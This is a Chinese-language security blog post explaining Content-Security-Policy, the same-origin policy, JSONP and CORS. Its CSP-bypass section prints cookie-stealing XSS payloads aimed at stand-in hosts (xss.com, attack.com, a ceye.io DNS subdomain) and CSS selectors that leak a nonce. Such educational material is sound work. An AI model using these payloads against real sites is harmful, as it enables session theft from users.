Ywc's blog

CSP、同源策略与跨域请求(JSONP/CORS)

Word count: 3kReading time: 12 min
2021/03/15

CSP

CSP简介

原理

  • CSP(Content-Security-Policy)内容安全策略,用来防御XSS攻击的技术。CSP是一种白名单策略,通过CSP指定可信的内容来源,让WEB处于一个安全的运行环境中。
  • CSP的实质就是白名单策略,预先设定好哪些资源能被加载执行而哪些不能。除了普通的CSP还有个CSPRO(Content-Security-Policy-Report-Only),区别是后者不限制执行,而是记录违反限制的行为,需要与report-uri一起使用。

启用

  • 通过 HTTP 头信息的Content-Security-Policy的字段
  • 通过网页的<meta>标签
    • <meta http-equiv="Content-Security-Policy" content="script-src 'self'">
  • 常规配置:该策略允许加载同源的图片、脚本、AJAX和CSS资源,并阻止加载其他任何资源,对于大多数网站是一个不错的配置。
    • default-src ‘none’; script-src ‘self’; connect-src ‘self’; img-src ‘self’; style-src ‘self’;
  1. 一个CSP头由多组CSP策略组成,中间由分号分隔,如下所示:
    1
    Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'
  • 其中每一组策略包含一个策略指令和一个内容源列表。策略指令有如下选项:

    指令 说明
    default-src 定义资源默认加载策略
    connect-src 定义 Ajax、WebSocket 等加载策略
    font-src 定义 Font 加载策略
    frame-src 定义 Frame 加载策略
    img-src 定义图片加载策略
    media-src 定义 <audio>、<video> 等引用资源加载策略
    object-src 定义 <applet>、<embed>、<object> 等引用资源加载策略
    script-src 定义 JS 加载策略
    style-src 定义 CSS 加载策略
    sandbox 值为 allow-forms,对资源启用 sandbox
    report-uri 值为 /report-uri,提交日志
  • 内容源有如下选项:

    说明
    * 通配符,允许任何URL,除了data: blob: filesystem: schemes
    *.foo.com 允许加载foo.com子域的资源
    abc.foo.com 只能加载这个域名下的资源
    https://a.com 只能用HTTPS加载域名下的资源
    https: 通过HTTPS可以加载任意域名下的资源
    ‘none’ 代表空集,即不匹配任何URL,两侧单引号是必须的
    ‘self’ 代表和文档同源,包括相同的URL协议和端口号,两侧单引号是必须的
    ‘unsafe-inline’ 允许使用内联资源,如内联的<script>元素、javascript: URL、内联的事件处理函数和内联的<style>元素,两侧单引号是必须的
    ‘unsafe-eval’ 允许使用 eval() 等通过字符串创建代码的方法,两侧单引号是必须的
    data: 允许data: URI作为内容来源
    mediastream: 允许mediastream: URI作为内容来源
    • 例子1

      1
      Content-Security-Policy: default-src 'self' trustedscripts.foo.com

      意思就是默认的内容源必须为同源或者是 trustedscripts.foo.com

      例子2

      1
      Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:

      图片源可以为同源内容或者是data:引用的资源,媒体源必须使用mediastream:引用,除此以外的都执行默认内容源判断,必须为同源内容。更加详细的可以看

      1
      https://lorexxar.cn/2016/08/08/ccsp/

      一个在线的CSP头部生成器可以帮助我们深入理解

      1
      https://www.cspisawesome.com

      一个CSP安全检测网站,能够提供一些参考

      1
      https://csp-evaluator.withgoogle.com/

CSP的进化–nonce script CSP和strict-dynamic

这是Google团队2016年在CSP is Dead, Long live CSP中正式提出的CSP种类,为了解决CSP爆出的各种各样的问题。

nonce script CSP

动态生成nonce字符串,只有包含nonce字段并字符串相等的script块可以被执行

1
2
3
4
<?php
Header("Content-Security-Policy: script-src 'nonce-".$random." '");
?>
<script nonce="<?php echo $random?>">

这个字符串可以在后端实现,每次请求都重新生成,这样就可以无视哪个域是可信的,保证所加载的任何资源都是可信的,并且还能拦截后面插入的script。

strict-dynamic

1
Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic'

strict-dynamic意味着可信js,生成的js代码是可信的。

这个CSP规则主要是用来适应各种各样的现代前端框架,通过这个规则,可以大幅度避免因为适应框架而变得松散的CSP规则。

CSP Bypass的方法总结

CSP对前端攻击的防御主要有两个:

  1. 限制js的执行。
  2. 限制对不可信域的请求。

接下来的多种Bypass手段也是围绕这两种的

url跳转

利用url跳转,回避严格的CSP。

在default-src ‘none’的情况下,可以使用meta标签实现跳转

1
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >

在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过

1
2
3
<script>
window.location="http://www.xss.com/x.php?c=[cookie]";
</script>

<a>标签配合站内的某些可控JS点击操作来跳转

1
2
3
4
<script>
$(#foo).click()
</script>
<a id="foo" href="xxxxx.com">

利用网站本身的跳转接口

1
http://foo.com/jmp.php?url=attack.com

CSP对link标签的预加载功能考虑不完善。在Chrome下,可以使用如下标签发送cookie或者其他数据

1
<link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">

在Firefox下无法用prefetch,因为Firefox有更高的安全规范,但是我们可以使用其他的方式,比如dns-prefetch,将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie

1
<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">

link标签除了这两种rel,还有preconnect、prerender、subresource、preload等

利用浏览器补全

有些网站限制只有某些脚本才能使用,往往会使用<script>标签的nonce属性,只有nonce一致的脚本才生效,比如CSP设置成下面这样

1
Content-Security-Policy: default-src 'none';script-src 'nonce-abc'

那么当脚本插入点为如下的情况时

1
2
<p>插入点</p>
<script nonce="abc">document.write('CSP');</script>

可以插入

1
<script src=//attack.com a="

这里利用浏览器的容错机制会拼成一个新的script标签,其中的src可以自由设定

1
2
<p><script src=//attack.com a="</p>
<script" nonce="abc">document.write('CSP');</script>

利用DOM XSS

如果JS存在操作location.hash导致的XSS,那么这样的攻击请求不会经过后台,那么nonce后的随机值就不会刷新。可以见下面lorexxar师傅的博文

1
https://lorexxar.cn/2017/05/16/nonce-bypass-script/

如果有DOM操作可以插入HTML并且可以控制插入的HTML内容,那么也可以绕过CSP

利用CSS 静态xss 获取nonce值

利用CSS选择器来逐字节获取信息,^=从头部判断

1
2
3
*[attribute^="a"]{background:url("record?match=a")}
*[attribute^="b"]{background:url("record?match=b")}
*[attribute^="c"]{background:url("record?match=c")}

比如确定第一位为c,那么就会继续下面的步骤

1
2
3
*[attribute^="ca"]{background:url("record?match=ca")}
*[attribute^="cb"]{background:url("record?match=cb")}
*[attribute^="cc"]{background:url("record?match=cc")}

由于是CSS的变化,没有引起服务器重新请求,所以nonce的值不会改变,偷取值后即可执行我们的script

利用跨域传输数据

利用一些跨域传输的方法来引入JS,导致执行

具体的可以看看呆子不开口的乌云大会PPT

1
http://pan.baidu.com/s/1pLCfCWr

和0CTF2018预选赛中的h4xors.club2

1
https://lorexxar.cn/2018/04/10/0ctf2018-club2/

利用文件上传执行JS

1
Content-Security-Policy: default-src 'self'; script-src 'self'

针对只能加载同域下script的CSP策略,如果有上传点可以控制,那么可以在其中夹杂js代码,然后引用该文件完成执行。

可以参考前几天梅子酒师傅写的上传Wave文件绕过CSP,执行JS

1
https://mp.weixin.qq.com/s/ljBB5jStB7fcJq4cgdWnnw

base标签

利用base标签改变资源加载的域,从而引入恶意的js,造成js执行。

同源策略(SOP)

基础

SOP(Same-Origin-Policy)同源策略是浏览器的一个安全限制,它阻止了不同域之间进行的数据交互,A 网页设置的 Cookie,B 网页不能打开,除非这两个网页同源,所谓同源,是指:协议(protocol)、端口(port)、和主机(host)都相同,如果非同源,Cookie,LocalStorage,IndexDB 无法读取:

  1. LocalStorage

    LocalStorage 是 HTML5 本地存储 Web Storage 特性的 API 之一,用于将大量数据(最大 5 M)保存在浏览器中,保存后数据永远存在不会失效过期,除非用 Js 手动清除,它不参与网络传输,一般用于性能优化,可以保存图片、Js、CSS、HTML 模板、大量数据,IndexDB 也是用于储存的东西。

  2. DOM 无法获取

    DOM(Document Object Model)译为文档对象模型,是 HTML 和 XML 文档的编程接口,HTML DOM 定义了访问和操作 HTML 文档的标准方法,DOM 以树结构表达 HTML 文档。

  3. AJAX 请求不能发送

    AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。 AJAX 不是新的编程语言,而是一种使用现有标准的新方法。 AJAX 最大的优点是在不重新加载整个页面的情况下,可以与服务器交换数据并更新部分网页内容,AJAX 请求只能发给同源的网址。

规避同源策略

主要有以下三种方法规避同源策略的限制:JSONPWebSocketCORS

JSONP

  • 深入理解JSONP漏洞
  • JSONP是JSON with padding(填充式JSON或参数式JSON)的简写。是为了解决跨域资源请求而产生的一种解决方案,动态创建<script>标签,然后利用<script>src标签不受同源策略约束来跨域获取数据。

CORS

CORS是跨域资源共享(Cross-Origin Resource Sharing)的缩写,它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了 AJAX 只能同源使用的限制,它是W3C标准,是跨源 AJAX 请求的根本解决方法.

  • CORS请求大致和ajax请求类似,但是在 HTTP 头信息中加上了 Origin 字段表明请求来自哪个源,如果orgin是许可范围之内的话,服务器返回的响应会多出Access-Control-Allow-*的字段。

WebSocket

WebSocket是一种通信协议,使用ws://(非加密)和wss://(加密)作为协议前缀,该协议不实行同源政策,只要服务器支持,就可以通过它进行跨源通信,为什么不实行同源策略?

  • 原因是WebSocket请求的头信息中有一个字段是Origin,表示该请求的请求源(origin),即发自哪个域名,正是因为有了Origin这个字段,所以WebSocket才没有实行同源政策,因为服务器可以根据这个字段,判断是否许可本次通信
CORS与JSONP的比较

CORS与JSONP的使用目的相同,但是比JSONP更强大,JSONP只支持 GET 请求,CORS支持所有类型的 HTTP 请求,JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据

Reference

CATALOG
  1. 1. CSP
    1. 1.1. CSP简介
      1. 1.1.1. 原理
      2. 1.1.2. 启用
    2. 1.2. CSP的进化–nonce script CSP和strict-dynamic
      1. 1.2.1. nonce script CSP
      2. 1.2.2. strict-dynamic
    3. 1.3. CSP Bypass的方法总结
      1. 1.3.1. url跳转
      2. 1.3.2. <link>标签预加载
      3. 1.3.3. 利用浏览器补全
      4. 1.3.4. 利用DOM XSS
      5. 1.3.5. 利用CSS 静态xss 获取nonce值
      6. 1.3.6. 利用跨域传输数据
      7. 1.3.7. 利用文件上传执行JS
      8. 1.3.8. base标签
  2. 2. 同源策略(SOP)
    1. 2.1. 基础
    2. 2.2. 规避同源策略
      1. 2.2.1. JSONP
      2. 2.2.2. CORS
      3. 2.2.3. WebSocket
        1. 2.2.3.1. CORS与JSONP的比较
  3. 3. Reference